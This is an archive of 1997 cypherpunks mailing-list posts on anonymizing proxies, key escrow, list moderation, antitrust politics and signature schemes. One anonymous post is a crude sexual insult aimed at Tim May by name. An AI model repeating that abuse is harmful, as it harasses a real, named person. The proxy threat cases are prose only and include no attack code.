> > locked mine and lost the password.
> Contact Award directly. If you have the data off the tag on the BIOS chip as
> well as the version data on boot you should be able to get a technical
> manual for the particular BIOS your computer uses. Note however that these
> manuals are generaly not cheap, sometimes costing a couple hundred dollars.
> The reason for the price is that it describes the BIOS to such a deep
> extent.
> 
> Review your motherboard, there is usualy a jumper that allows the BIOS
> to be reset. The process usualy goes like:
> 
>  -  turn computer off
>  -  locate jumper and short with a shorting-block
>  -  turn computer on then off
>  -  remove the shorting-block
>  -  the BIOS should be reset
> 
> Don't know if Award has a webpage but you might try www.award.com or one
> of the search engines.
> 
Thanks for your help [and, to someone else for the default password].
OK, not much of a thankyou, I guess... [The default passwd worked]

What is a 'Magic Password'?

-Brandon Crosby





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 25 Nov 1997 23:57:08 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Further costs of war
In-Reply-To: <199711241934.UAA23715@basement.replay.com>
Message-ID: <v0400274eb0a087336b03@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:34 pm -0500 on 11/24/97, Monty wrote:


> Personally, I do not believe in the infallibility of the Supreme
> Court.

This has nothing to do with "infallibility" at all. It has to do with facts
on the ground, Monty. The supreme court has its power because enough people
with guns say it does. (Whoever those people with guns are. :-))

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Nov 1997 16:15:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Further costs of war
Message-ID: <199711250808.JAA01545@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Fabrice Planchon wrote:
>On Tue, Nov 25, 1997 at 02:20:34AM +0100, Anonymous [Monty Cantsin] wrote:
>> Fabrice Planchon wrote:
>> >Once again, if 1812 the [British] invasion [of the United States] actually occured,...
>> 
>> They burned the White House to the ground.  Does that count?  ;-)
>
>Oups... of course I made a typo, and everybody read "in 1812
>yadayadayada".  And yes it counts and I like it...

I assume you are in the U.S. on a visa, right?  I would recommend
using a remailer for this sort of seditious comment.  (Seriously!)

>...(just because the initial reason for this mess was the tentative
>to take over Canada, and it just illustrates that the US were already
>as any other country, trying to take over their neighbours ;-) Of
>course nowadays you don't see that they miserabily failed on that
>occasion)

As late as the 1930s, the U.S. Army had detailed plans for an invasion
of Canada.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 25 Nov 1997 22:24:25 +0800
To: cypherpunks@toad.com
Subject: News of Jim Bell
Message-ID: <1.5.4.32.19971125141228.006e499c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous forwarded three local news stories about Jim's
sentencing:

   http://jya.com/jimbell6.htm

An excerpt:

  In a hearing in U.S. District Court in Tacoma this morning, 
  Bell 's public defender and an assistant U.S. Attorney recommended 
  a 6-to-12-month jail sentence for Bell as part of a plea-bargain 
  agreement.

  But federal probation officers recommended a sentence of 27 months. 
  In doing so, they said they were looking at the "totality" of Bell's 
  behavior, including the threatening nature of his Internet essay, 
  "Assassination Politics." 

  As a result, U.S. District Court Judge Franklin D. Burgess said he 
  was uncomfortable with the situation. "Somehow I am getting a feeling 
  that somebody knows more about something than I do," Burgess said.

Also reported: Jim had encrypted some of his files. And though "Bell
plead guilty to relatively innocuous charges" IRS investigators
compared him to The Unabomber and Tim McVeigh, and claimed he
was "part of a far darker scheme to assassinate IRS agents and 
topple the   U.S. government."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 26 Nov 1997 02:09:17 +0800
To: cypherpunks@cyberpass.net
Subject: Moderated vs. Unmoderated Lists
In-Reply-To: <199711251545.QAA16928@basement.replay.com>
Message-ID: <v03102800b0a0ab3a309a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:45 AM -0700 11/25/97, Anonymous wrote:
>> [ok, there we go again... this will be my last post on the subject which
>> is way-off topic by now. If it wasn't for the reference to Vichy I
>> wouldn't answer on the list]
>
>There is no such thing as an off topic post on the new cypherpunks list,
>at least according to Tim May and Monty Cantsin.  Whatever interests them
>is automatically on-topic.

Notice I chose not to debate Jim Choate in gory detail about his
interpretation of the origins of the world wars...I limited my comment to
my early comment, that the U.S. has not been in any legitimate wars for
nearly two centuries.

This has crypto anarchy relevance in that strong crypto will undermine the
ability of the U.S. government to fight foreign wars and engange in foreign
entanglements. How this will happen should be obvious.

Yes, I talk about what interests me. A single essay I _write_ represents my
views. I avoid cc:ing the list with forwarded stuff from Yahoo, as some are
wont to do.

Thus, I feel no guilt about writing some essay or article on something of
interest to me.

The Cypherpunks list is NOT moderated, and has no official charter. In the
last few years, many have left because what they really wanted to talk
about were job-related crypto questions, or SET, or Mondex, or elliptic
curve systems, and they didn't want to hear about the political
implications, the FBI actions, the effects on currencies, etc.

Thus were the lists "coderpunks" and "cryptography" born. Both are
moderated by their owners, and hence Anonymous may be happier spending his
or her time on one or both of these lists.

And there are several other "owned" lists out there.

Me, I don't like someone announcing that my essay is "off-topic," or
mentions some forbidden topic. So I stay off those owned lists.

It works for me.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 26 Nov 1997 00:12:04 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Security Risks in HTTP Proxy Agents (Re: Anonymizer rocks! (Re: Anonymity at any cost, from The Netly News))
In-Reply-To: <199711251009.KAA01273@server.test.net>
Message-ID: <199711251534.KAA20197@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711251009.KAA01273@server.test.net>, on 11/25/97 
   at 05:09 AM, Adam Back <aba@dcs.ex.ac.uk> said:

>Mikhael Frieden <mikhaelf@mindspring.com>
>> >Anonymity At Any Cost
>> >by Declan McCullagh (declan@well.com)
>> 
>> >        When Lance Cottrell created an easy-to-use anonymous e-mail service
>> >	back in 1994, he feared that nobody would use it. "I used to be
>> >	worried that people didn't want anonymity enough to pay for it,"
>> >	he says. Today his company, Infonex, boasts 3,000 customers who
>> >	pay $60 a year to browse the Web without leaving behind digital
>> >	footprints. 
>> 
>>         Making the cookie read only and erasing previous additions does the
>> same thing for free. Cottrell is PT Barnum speaking. 

>That's no where near what the anonymizer does for you.

Absolutly, I can't beleive that Mikhael is *that* clueless.

>For $60 Lance gives a years use of an SSL connection to an anonymizing
>web proxy.  That means as well as stripping out the cookies, browser
>type, and other identifying info -- it means that your IP# isn't even
>listed, and what's more passive snoops (eg snoopy Feds) of net traffic
>into and out of infonex might have a bit of problem figuring out who was
>accessing what under the cover of SSL.  

>(Modulo traffic analysis -- web traffic is patchy, pauses in transfer
>will show through the SSL layer, so you would probably be better off
>browsing the dodgy stuff at peak web usage times, for the cover traffic.)

>I think Lance's success with this is tremendously good for privacy, and
>it is also a positive to see that some people do care enough about
>privacy to pay for it.

I had posted awhile back when these HTTP proxies first appeared about some
inherent security risks with using them.

The biggest problem with any proxy agent is one of trust. When one looks
at what a proxy agent does one can see the scary potentials for abuse.
Lets take the example of the Evil Proxy agent at www.nsa.gov.

Case #1

- -- User connects to Evil Proxy sending a request for it to retreive a web
page. -- Evil Proxy Logs who is connecting, time, and what web pages they
are requesting. -- Evil then retrieves the web pages and transmits them to
the user. -- Evil Proxy processes log data periodically to check for
either Bad User or Bad Web Page usage and flags such activity for the
Lea's.

Case #2

- -- User connects to Evil Proxy sending a request for it to retreive a web
page. -- Evil Proxy Logs who is connecting, time, and what web pages they
are requesting. -- Evil Proxy finds that web page in Bad Web Page list.
- -- Evil Proxy returns a forged web page to the user rather than the page
that the user requested. (imagine such a proxy being set-up to flag any
pgp.zip file requests and returning pgp_nsa_spoof.zip instead.) -- Evil
Proxy processes log data periodically to check for either Bad User or Bad
Web Page usage and flags such activity for the Lea's.

Case #3 (This is theoretical as I am not sure it is possessable with
current browsers)

- -- User connects to Evil Proxy sending a request for it to retreive a web
page. -- Evil Proxy Logs who is connecting, time, and what web pages they
are requesting. -- Evil Proxy finds that User in Bad User list.
- -- Evil Proxy returns the requested web page but also returns an extra
file which is saved to the Users HD without his knowledge (imagine storing
some kiddie porn gif's on a political opponents computer). -- Evil Proxy
processes log data periodically to check for either Bad User or Bad Web
Page usage and flags such activity for the Lea's.

A less damming case but still troublesome would be where Evil Proxy was
being run by commercial interest rather than governmental:

Case #4 (Not much different than Case #1)

- -- User connects to Evil Proxy sending a request for it to retreive a web
page. -- Evil Proxy Logs who is connecting, time, and what web pages they
are requesting. -- Evil then retrieves the web pages and transmits them to
the user. -- Evil Proxy processes log data periodically and sells it to
whomever want's it (Lea's, Spamford, GM, Microsoft, ... ect).

I think that you can see that the security of HTTP Proxies is the same for
a single E-Mail remailer. The natural evolution for these proxies is to
use chaining and encryption in the same way e-mail is processed through
remailers.

- -- Chaining of Proxies
- -- Multiple Layers of Encryption with the inner most layer being
end-to-end encryption.

HTTP proxies are good but still have a long way to go.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNHrvxo9Co1n+aLhhAQEZ2AP/XToQgVc9bgGZqupPUZUc14cXjiTLTYOn
tZFH8qy6fWnOyy6kz+zCZkn6R6rQ9nr7r1VTpVaYpA05hUzocO8YIDUBPlI6ZMBH
FJjFE/i3N4NK3IeS4w6nfDh1gV8OmHAB/oX++Fmv0zmLSFAgDDijHEf0LkrNkOTm
kwLlF+Pj8OY=
=hn/s
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 26 Nov 1997 00:18:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Further costs of war (fwd)
In-Reply-To: <199711251545.QAA16928@basement.replay.com>
Message-ID: <199711251602.LAA20436@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711251545.QAA16928@basement.replay.com>, on 11/25/97 
   at 10:45 AM, Anonymous <nobody@REPLAY.COM> said:

>> [ok, there we go again... this will be my last post on the subject which
>> is way-off topic by now. If it wasn't for the reference to Vichy I
>> wouldn't answer on the list]

>There is no such thing as an off topic post on the new cypherpunks list,
>at least according to Tim May and Monty Cantsin.  Whatever interests them
>is automatically on-topic.

Seems like a little jealousy to me.

Don't let the door hit you in the ass on the way out.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNHr2VI9Co1n+aLhhAQEpHgQAg0mcBJSa8DjK8f3D/ZWqcuNpOqbzxFTk
cb6/atMZ7h4BdjF22BRlAahpzS9sbJQGju9Jl10P2rDIsnkmBtXpC/eB1MO0ahax
d/SF2r7NEIb+wCm6xRPZP8lLR0e35q+OwnYP2YpehzgFYdPTOvoi+80NcFBtS3Dk
+RIzhUU/3SE=
=2ctz
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 25 Nov 1997 18:30:50 +0800
To: mikhaelf@mindspring.com
Subject: Anonymizer rocks! (Re: Anonymity at any cost, from The Netly News)
In-Reply-To: <3.0.16.19971125032250.0e3719dc@pop.mindspring.com>
Message-ID: <199711251009.KAA01273@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mikhael Frieden <mikhaelf@mindspring.com>
> >Anonymity At Any Cost
> >by Declan McCullagh (declan@well.com)
> 
> >        When Lance Cottrell created an easy-to-use anonymous e-mail service
> >	back in 1994, he feared that nobody would use it. "I used to be
> >	worried that people didn't want anonymity enough to pay for it,"
> >	he says. Today his company, Infonex, boasts 3,000 customers who
> >	pay $60 a year to browse the Web without leaving behind digital
> >	footprints. 
> 
>         Making the cookie read only and erasing previous additions does the
> same thing for free. Cottrell is PT Barnum speaking. 

That's no where near what the anonymizer does for you.

For $60 Lance gives a years use of an SSL connection to an anonymizing
web proxy.  That means as well as stripping out the cookies, browser
type, and other identifying info -- it means that your IP# isn't even
listed, and what's more passive snoops (eg snoopy Feds) of net traffic
into and out of infonex might have a bit of problem figuring out who
was accessing what under the cover of SSL.  

(Modulo traffic analysis -- web traffic is patchy, pauses in transfer
will show through the SSL layer, so you would probably be better off
browsing the dodgy stuff at peak web usage times, for the cover
traffic.)

I think Lance's success with this is tremendously good for privacy,
and it is also a positive to see that some people do care enough about
privacy to pay for it.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Wed, 26 Nov 1997 02:41:06 +0800
To: cypherpunks@cyberpass.net
Subject: Swedish policy paper on key/message escrow
Message-ID: <v03010d04b0a0c586c472@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain



Today's "Svenska Dagbladet" has an article on a policy paper released
by the Swedish Foreign Office that follows the American agenda. "Only
simple encryption that is easy to decypher should be sold outside the
country without restriction." Also, "it is required that capability
is created for legal access to clear-text or keys." (My ugly, but
precise, translation from the article's quote from the report.)

The report authors suggest a complicated structure with key depositories,
"preferably privately owned" that "can be granted control over all
of the encryption keys that are used on the Internet." Police and
proscecutors can obtain these encryption keys as needed to access
secret documents.

The report has been widely criticized.

Martin Minow
minow@apple.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Sims" <jellicle@inch.com>
Date: Wed, 26 Nov 1997 00:50:43 +0800
To: cypherpunks@toad.com
Subject: Dear subscribers
Message-ID: <199711251638.LAA09841@arutam.inch.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear subscribers to the Cypherpunks list --

	Mikhael Frieden, mikhaelf@mindspring.com, is an alias for Matt
Giwer, a name I hope many of you will recognize.  On the F-C list, he
is now the origin of perhaps 25% of the traffic, as much as 50% some
days, most of which are standard, clueless, trolling, or lying
responses which are designed to suck people into endless replies
like those on what the Anonymizer does or does not do.  William
Geiger writes, "Absolutly, I can't beleive that Mikhael is *that*
clueless."  Well, yes.  When you're trying to troll, you are that
clueless.  We here on the F-C list are hoping to sort of ignore him
and hope he'll go away -- all I see of him are the number of
messages hitting my to-be-deleted folder and the endless replies
cross-posted from cypherpunks.

See:

http://www.nizkor.org/hweb/people/g/giwer-matt/net-abuse/
http://www.nizkor.org/hweb/people/g/giwer-matt/

Giwer will even accuse *himself* of lying.

Please do the people on F-C a favor by not cross-posting any replies
that are off-topic for F-C, and hell, while I'm at it, by not
replying to Giwer at all for any reason.  If you're not careful
he'll join cypherpunks.


-- Michael Sims
[I'm not on cypherpunks - reply by direct email only, please]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 26 Nov 1997 01:02:06 +0800
To: cypherpunks@toad.com
Subject: RFC on Infrastructure Aliens
Message-ID: <1.5.4.32.19971125164039.006ecfb4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



BXA issued today an RFC for the recent PCCIP report
on threats to the nation's infrastructure. It provides a
handy summary of the report's findings and proposals
for policy, technology, law and arms-waving of insider
gov, com and edu to protect their children against outside 
techno-bugabears:

   http://jya.com/bxa-pccip-rfc.htm  (14K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 26 Nov 1997 02:11:09 +0800
To: fight-censhorship <cypherpunks@toad.com
Subject: Re: Microsoft's compelled speech, compelled marketing
In-Reply-To: <347AF2E5.CD900646@cptech.org>
Message-ID: <v03007815b0a0bd483d3b@[204.254.22.197]>
MIME-Version: 1.0
Content-Type: text/plain



I am very amused to see the Naderites on the warpath again. Better yet is
their claim that the Microsoft DoJ action is divorced from politics. This
is an excerpt from a message I posted to another list. Might be interesting.

-Declan

---

>     "Fundamentally, I think it's a legal issue," says
>Ed Black, president of the Computer and Communications
>Industry Association. "But to say whenever the
>wealthiest man in America and one of the most powerful
>companies in America is challenged by a cabinet
>official, you can't say there's no political impact.
>You're in a political world at that level."

And if we look at the history of antitrust we see that the political world
is often the most important one:

-- Nixon intervened in an antitrust action against ITT in 1971 in exchange
for a bribe: a hefty contribution to the 1972 Republican convention. "I
don't know whether ITT is bad, good or indifferent," he said on April 19,
1971, the White House tapes reveal. "But there is not going to be any more
antitrust actions as long as I am in this chair...goddam it, we're going to
stop it."

-- Bush's assistant attorney general derailed a criminal investigation of
Georgia Power. This after the U.S. attorney in Atlanta had issued more than
five hundred subpoenas and two hundred witnesses were called to testify
before the grand jury. Why? Months earlier, the company's CEO raised
millions of dollars for the Republicans in 1988.

-- AT&T and its manufacturing subsidary were engaged in a
billion-dollar-a-year price fixing scheme, the Justice Department claimed
in a complaint filed in January 1949. AT&T persuaded a slew of high Defense
Department officials to oppose the action on national security grounds. The
Defense Secretary himself opposed it because of the "Korean emergency."
They forced the DoJ to settle the case without getting what it wanted: AT&T
to sell Western Electric.

-- Teddy Roosevelt (who Jamie might recall was widely reported to be a
"trust buster") headed off a DoJ antitrust investigation of the electrical
industry. Roosevelt wrote: "I feel very strongly that the less activity
there is during the presidential election, unless it is necessary, the
better it will be."

Former NY Times and Newseek reporter David Burnham writes in his book about
the Justice Department: "The record is clear. Political campaign
contributions, personal bribes and other direct and indirect favors have
frequently influenced important Justice Department disions about the
enforcement of law... Virtually every administration has demanded that the
Justice Department bend the law..."

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Wed, 26 Nov 1997 02:23:34 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Microsoft's compelled speech, compelled marketing
In-Reply-To: <v03007815b0a0bd483d3b@[204.254.22.197]>
Message-ID: <347B12DB.104B62CF@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> I am very amused to see the Naderites on the warpath again. Better yet is
> their claim that the Microsoft DoJ action is divorced from politics. 
   Declan, what exactly is that "claim" that you refer to?  Are you
referring to my note on AM-INFO that DOJ filed against Microsoft without
consulting the White House?  (Something that has been reported in the
press..  WSJ?).  Or is there something else you are referring to.  I
don't think I would say any antitrust action is "divorced" from
politics, including this one.  

  Jamie



This
> is an excerpt from a message I posted to another list. Might be interesting.
> 
> -Declan
> 
> ---
> 
> >     "Fundamentally, I think it's a legal issue," says
> >Ed Black, president of the Computer and Communications
> >Industry Association. "But to say whenever the
> >wealthiest man in America and one of the most powerful
> >companies in America is challenged by a cabinet
> >official, you can't say there's no political impact.
> >You're in a political world at that level."
> 
> And if we look at the history of antitrust we see that the political world
> is often the most important one:
> 
> -- Nixon intervened in an antitrust action against ITT in 1971 in exchange
> for a bribe: a hefty contribution to the 1972 Republican convention. "I
> don't know whether ITT is bad, good or indifferent," he said on April 19,
> 1971, the White House tapes reveal. "But there is not going to be any more
> antitrust actions as long as I am in this chair...goddam it, we're going to
> stop it."
> 
> -- Bush's assistant attorney general derailed a criminal investigation of
> Georgia Power. This after the U.S. attorney in Atlanta had issued more than
> five hundred subpoenas and two hundred witnesses were called to testify
> before the grand jury. Why? Months earlier, the company's CEO raised
> millions of dollars for the Republicans in 1988.
> 
> -- AT&T and its manufacturing subsidary were engaged in a
> billion-dollar-a-year price fixing scheme, the Justice Department claimed
> in a complaint filed in January 1949. AT&T persuaded a slew of high Defense
> Department officials to oppose the action on national security grounds. The
> Defense Secretary himself opposed it because of the "Korean emergency."
> They forced the DoJ to settle the case without getting what it wanted: AT&T
> to sell Western Electric.
> 
> -- Teddy Roosevelt (who Jamie might recall was widely reported to be a
> "trust buster") headed off a DoJ antitrust investigation of the electrical
> industry. Roosevelt wrote: "I feel very strongly that the less activity
> there is during the presidential election, unless it is necessary, the
> better it will be."
> 
> Former NY Times and Newseek reporter David Burnham writes in his book about
> the Justice Department: "The record is clear. Political campaign
> contributions, personal bribes and other direct and indirect favors have
> frequently influenced important Justice Department disions about the
> enforcement of law... Virtually every administration has demanded that the
> Justice Department bend the law..."
> 
> -Declan

-- 
James Packard Love
Consumer Project on Technology
P.O. Box 19367 | Washington, DC 20036 
voice 202.387.8030  | fax 202.234.5176 
love@cptech.org | http://www.cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Wed, 26 Nov 1997 04:09:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: IBM, Compaq, Toshiba WANTED (pwn)
In-Reply-To: <01BCF999.D64FD580@edward>
Message-ID: <199711251954.NAA08063@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



A Spammer Writes:

> To give you an idea of the specific models I am interested in I have
> listed below units which I currently have back orders for, list as
> follows..... 

Do you also steal cars to order?

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Wed, 26 Nov 1997 04:06:43 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <EPtLawOnbaoGUl8PvUSglw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



May Timothy C[ocksucker] Maya's forgeries 
get stuck up his ass so he'll have to 
shit through his filthy mouth for the 
rest of its miserable life.


 /~~~\
{-O^O-} Timothy C[ocksucker] Maya
 \ o /
  (-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 26 Nov 1997 07:51:54 +0800
To: cypherpunks@toad.com
Subject: Re: SigFiles
In-Reply-To: <4269.880400708@zelkova.qualcomm.com>
Message-ID: <3.0.3.32.19971125152951.0070f8e0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:01 PM 11/24/1997 -0600, TruthMonger <tm@dev.null> wrote:
>>     -- Ann Landers, columnist and a director of Handgun Control Inc
>
>Isn't "Handgun Contol, Inc." the place where they align your gun-sights
>for free?

Yes, but you won't like the way they're aligned when they're done....
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 26 Nov 1997 08:02:39 +0800
To: cypherpunks@toad.com
Subject: Book review from amazon.com: Internet Cryptography
Message-ID: <Pine.GSO.3.95.971125154831.24457D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Internet Cryptography

                                         by Richard E. Smith

                                         Paperback, 356 pages


                           List: $27.92 ~ Our Price: $27.92

                           Availability: This title usually ships within
24 hours.

                                                    
                           (You can always remove it later...)

                           Internet Books Editor's Recommended Book,
                           11/01/97:
                           For all the talk about the Internet's very real
security weaknesses,
                           information safety is not all that difficult to
achieve. Yes, most
                           Internet technology does a better job of making
information
                           accessible than it does of protecting privacy.
Still, modern
                           cryptographic products and techniques have made
more than
                           adequate security available to just about
anyone who needs it. In
                           Internet Cryptography, network security
consultant Richard
                           Smith explains the basics of online security.
He avoids getting
                           technical with too much cryptographic theory or
the mathematics
                           behind the magic. Instead he focuses on
providing just enough
                           information to enable information systems
managers and
                           administrators to make wise decisions. In fact,
Smith pays close
                           attention to matters of system configuration
and operation,
                           showing how even the best encryption methods
can be ruined by
                           careless operation. From there, Smith explains
how today's
                           techniques can protect information from being
forged, altered, or
                           stolen. Smith devotes most of his discussion of
various
                           cryptographic options to products that are
presently on the
                           market. Therefore, the techniques he describes
are generally
                           within the reach of most businesses and
organizations. He
                           progresses from the simplest to most complex
approach,
                           examining the strengths and weaknesses of each.
As a result,
                           readers wind up with a solid understanding of
cryptographic
                           security as well as a good feel for the level
of security they
                           require. 

                           Book Description :
                           "This book provides an excellent overview of
how encryption is
                           used, its strengths and weaknesses, and what to
look for when
                           building or choosing real-world solutions. This
is a must-have
                           book for anyone considering the deployment of
an important
                           system relying on modern cryptography." -
Marcus J. Ranum,
                           Chief Scientist, V-ONE Corporation.

                           Here, in one comprehensive, soup-to-nuts book,
is the solution
                           for Internet security: modern-day cryptography.
Written by a
                           security expert with a wealth of practical
experience, this book
                           covers network and Internet security in terms
that are easy to
                           understand, using proven technology, systems,
and solutions.
                           From the client workstation to the Web host to
the e-mail server,
                           every aspect of this important topic is
examined and explained.
                           The once-daunting subject of cryptography is
demystified and
                           applied to today's security challenges. Topics
include: essentials
                           of cryptography; networking and Internet
fundamentals;
                           encryption building blocks; virtual private
networks; legal
                           considerations; setting realistic security
objectives; secured
                           electronic mail; World Wide Web transaction
security; and
                           Internet Firewalls.

                           This book is written for people who want to
move data safely
                           across the Internet and protect corporate
resources from
                           unauthorized access. Using real-life case
studies, examples, and
                           commercially available software products,
cryptography is
                           presented as a practical solution to specific,
everyday security
                           challenges. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 26 Nov 1997 07:14:13 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Quoting Portions of a Signed Document
In-Reply-To: <199711252109.WAA05443@basement.replay.com>
Message-ID: <199711252306.SAA24052@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711252109.WAA05443@basement.replay.com>, on 11/25/97 
   at 10:09 PM, nobody@REPLAY.COM (Anonymous) said:


>-----BEGIN PGP SIGNED MESSAGE-----

>It would be neat if you could quote people and prove that they signed the
>particular paragraph quoted without supplying the entire text.  Is there
>a way to do this?  (It seems impossible, but so does mental poker.)

>A crude approach would be to sign every paragraph or line separately, but
>that's obviously inelegant.

Well this could be done by creating a document signature and then a
collection of sub signatures but it can get ugly real quick.

What level of granularity does one use for the sub signature?

Paragraph: Contentious block of text separated by a line of white space.
Line:      Block of text ending with a CRLF.
Word:      Block of text separated by a white space.

Then what does the sub signature really tell you? Yes you can verify that
the quote was written by someone but it may be taken completely out of
context. How about when several blocks of text from different messages are
combined. Each individual block checks out but by combining them the text
has a completely different meaning than the original document.

The best thing right now is for a user to lookup the referring document in
the archives and verify the signature. It also give him the advantage of
reading the quote in its full context.

In an environment where a public archive of messages are not available
then other means of obtaining the source document are available (contact
the original author, contact the person quoting the original document). In
some environments it may be beneficial to attach the original document to
the message when sending.

Considering that a signed quote would require the Author to format his
signatures in this way I for one would not do so nor could I see a reason
for doing so.

Side Note: The above is in reference to small documents and E-Mail. In
large documents it may be desirable to sign every page or sign each
chapter in addition to signing the entire document. A case may be made for
subsignatures in a E-Mail message in which there are separate signatures
for the text of a message and accompanying attachments. In both cases
there should be a meta-signature that covers the entire document.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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cFxsAX4x+M3meIRNZ2vAEmmy5mKiXNds5y4+w3mgC1/Bi3L4QNGWEqgwPzAehwHn
KFwbtj+MY34=
=9sOU
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Wed, 26 Nov 1997 00:03:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Further costs of war (fwd)
Message-ID: <199711251545.QAA16928@basement.replay.com>
